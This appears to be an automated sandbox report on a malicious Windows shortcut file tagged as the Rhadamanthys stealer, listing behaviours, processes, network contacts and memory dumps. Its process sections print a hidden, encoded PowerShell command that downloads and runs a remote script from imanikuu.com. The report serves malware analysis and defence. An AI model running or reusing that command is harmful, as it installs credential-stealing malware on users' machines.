Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-nsaknaag4t
Target DOC5723-57235723.lnk
SHA256 aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740

Threat Level: Known bad

The file DOC5723-57235723.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:39

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:39

Reported

2024-04-05 11:41

Platform

win7-20240221-en

Max time kernel

118s

Max time network

119s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2172 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2172 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2172 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2592-38-0x000000001B6B0000-0x000000001B992000-memory.dmp

memory/2592-39-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

memory/2592-41-0x00000000027D0000-0x00000000027D8000-memory.dmp

memory/2592-40-0x00000000029F0000-0x0000000002A70000-memory.dmp

memory/2592-43-0x00000000029F0000-0x0000000002A70000-memory.dmp

memory/2592-42-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

memory/2592-44-0x00000000029F0000-0x0000000002A70000-memory.dmp

memory/2592-45-0x00000000029F0000-0x0000000002A70000-memory.dmp

memory/2592-46-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:39

Reported

2024-04-05 11:41

Platform

win10v2004-20240226-en

Max time kernel

141s

Max time network

151s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1560 created 2420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3744 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 105.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 150.1.37.23.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 50.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 91.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 97.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 137.71.105.51.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b13xo30x.aud.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1560-11-0x0000018029610000-0x0000018029632000-memory.dmp

memory/1560-12-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp

memory/1560-13-0x00000180296D0000-0x00000180296E0000-memory.dmp

memory/1560-14-0x00000180296D0000-0x00000180296E0000-memory.dmp

memory/1560-15-0x0000018029D90000-0x0000018029DEE000-memory.dmp

memory/1560-16-0x00000180114F0000-0x0000018011500000-memory.dmp

memory/1560-17-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

memory/1560-18-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

memory/1560-19-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

memory/1560-20-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp

memory/1560-22-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

memory/1560-23-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp

memory/1560-21-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp

memory/4416-24-0x000001DD3FB00000-0x000001DD3FB09000-memory.dmp

memory/1560-27-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp

memory/1560-30-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

memory/4416-31-0x000001DD415A0000-0x000001DD419A0000-memory.dmp

memory/1560-29-0x00000180114F0000-0x0000018011500000-memory.dmp

memory/4416-32-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp

memory/4416-34-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp

memory/4416-33-0x000001DD415A0000-0x000001DD419A0000-memory.dmp

memory/4416-35-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp

memory/4416-36-0x000001DD415A0000-0x000001DD419A0000-memory.dmp